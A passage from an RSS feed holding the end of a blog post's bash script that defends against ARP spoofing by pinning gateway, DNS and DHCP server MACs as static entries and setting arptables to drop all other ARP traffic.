    arping <span style="color: #660033;">-c1</span> <span style="color: #660033;">-I</span> <span style="color: #800000;">${DEV}</span> <span style="color: #800000;">${1}</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null <span style="color: #000000;">2</span><span style="color: #000000; font-weight: bold;">&gt;&amp;</span><span style="color: #000000;">1</span>
    <span style="color: #007800;">getMAC</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span>ip neigh show <span style="color: #800000;">${1}</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">awk</span> <span style="color: #ff0000;">'{print $5}'</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
  <span style="color: #000000; font-weight: bold;">fi</span>
  <span style="color: #007800;">MACreg</span>=<span style="color: #800000;">${getMAC}</span>
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
allow<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span>
  <span style="color: #666666; font-style: italic;"># Whitelists traffic to and from particular IP+MAC pairings and</span>
  <span style="color: #666666; font-style: italic;"># adds them to static ARP.</span>
  <span style="color: #007800;">IP</span>=<span style="color: #800000;">${1}</span>
  <span style="color: #007800;">MAC</span>=<span style="color: #800000;">${2}</span>
  <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">${IP}</span>&quot;</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">${MAC}</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
    arptables <span style="color: #660033;">-A</span> INPUT  <span style="color: #660033;">-s</span> <span style="color: #800000;">${IP}</span> <span style="color: #660033;">--source-mac</span>      <span style="color: #800000;">${MAC}</span> <span style="color: #660033;">-j</span> ACCEPT
    arptables <span style="color: #660033;">-A</span> OUTPUT <span style="color: #660033;">-d</span> <span style="color: #800000;">${IP}</span> <span style="color: #660033;">--destination-mac</span> <span style="color: #800000;">${MAC}</span> <span style="color: #660033;">-j</span> ACCEPT
    ip neigh replace <span style="color: #800000;">${IP}</span> lladdr <span style="color: #800000;">${MAC}</span> nud permanent dev <span style="color: #800000;">${DEV}</span>
  <span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;<span style="color: #007800;">${DEV}</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
  <span style="color: #666666; font-style: italic;"># whitelist the routers</span>
  <span style="color: #7a0874; font-weight: bold;">test</span> <span style="color: #660033;">-z</span> <span style="color: #800000;">${GATEWAYS}</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #007800;">GATEWAYS</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span>ip route show dev <span style="color: #800000;">${DEV}</span><span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;s:.* via \(<span style="color: #007800;">${IPREGEX}</span>\).*:\1:p&quot;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
  <span style="color: #000000; font-weight: bold;">for</span> GWIP <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #800000;">${GATEWAYS}</span>; <span style="color: #000000; font-weight: bold;">do</span>
    <span style="color: #007800;">MACreg</span>=<span style="color: #ff0000;">&quot;&quot;</span>
    getmac <span style="color: #800000;">${GWIP}</span>
    allow <span style="color: #800000;">${GWIP}</span> <span style="color: #800000;">${MACreg}</span>
  <span style="color: #000000; font-weight: bold;">done</span>
  <span style="color: #666666; font-style: italic;"># whitelist the DNS servers</span>
  <span style="color: #7a0874; font-weight: bold;">test</span> <span style="color: #660033;">-z</span> <span style="color: #800000;">${DNSSERVERS}</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #007800;">DNSSERVERS</span>=$<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-n</span> <span style="color: #ff0000;">&quot;s:^nameserver \(<span style="color: #007800;">${IPREGEX}</span>\):\1:p&quot;</span> <span style="color: #800000;">${RESOLV}</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
  <span style="color: #000000; font-weight: bold;">for</span> DNS <span style="color: #000000; font-weight: bold;">in</span> <span style="color: #800000;">${DNSSERVERS}</span>; <span style="color: #000000; font-weight: bold;">do</span>
    <span style="color: #007800;">MACreg</span>=<span style="color: #ff0000;">&quot;&quot;</span>
    getmac <span style="color: #800000;">${DNS}</span>
    allow <span style="color: #800000;">${DNS}</span> <span style="color: #800000;">${MACreg}</span>
  <span style="color: #000000; font-weight: bold;">done</span>
  <span style="color: #666666; font-style: italic;"># if using dhcpcd, we can whitelist the DHCP server too</span>
  <span style="color: #7a0874; font-weight: bold;">test</span> <span style="color: #660033;">-n</span> <span style="color: #800000;">${DHCPSID}</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> getmac <span style="color: #800000;">${DHCPSID}</span> <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> allow <span style="color: #800000;">${DHCPSID}</span> <span style="color: #800000;">${MACreg}</span>
  <span style="color: #666666; font-style: italic;"># set default policy to DROP    </span>
  arptables <span style="color: #660033;">-P</span> INPUT DROP
  arptables <span style="color: #660033;">-P</span> OUTPUT DROP
  <span style="color: #666666; font-style: italic;"># clear out non-hardcoded ARP cache entries</span>
  ip neigh flush nud reachable
  ip neigh flush nud stale
<span style="color: #000000; font-weight: bold;">else</span>
  <span style="color: #666666; font-style: italic;"># No argument given, so clean up.</span>
  arptables <span style="color: #660033;">-F</span>
  arptables <span style="color: #660033;">-P</span> INPUT ACCEPT
  arptables <span style="color: #660033;">-P</span> OUTPUT ACCEPT
  ip neigh flush nud permanent
<span style="color: #000000; font-weight: bold;">fi</span></pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://smorgasbord.gavagai.nl/2010/01/network-security-101-stealth-mode-arp-cache-inoculation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

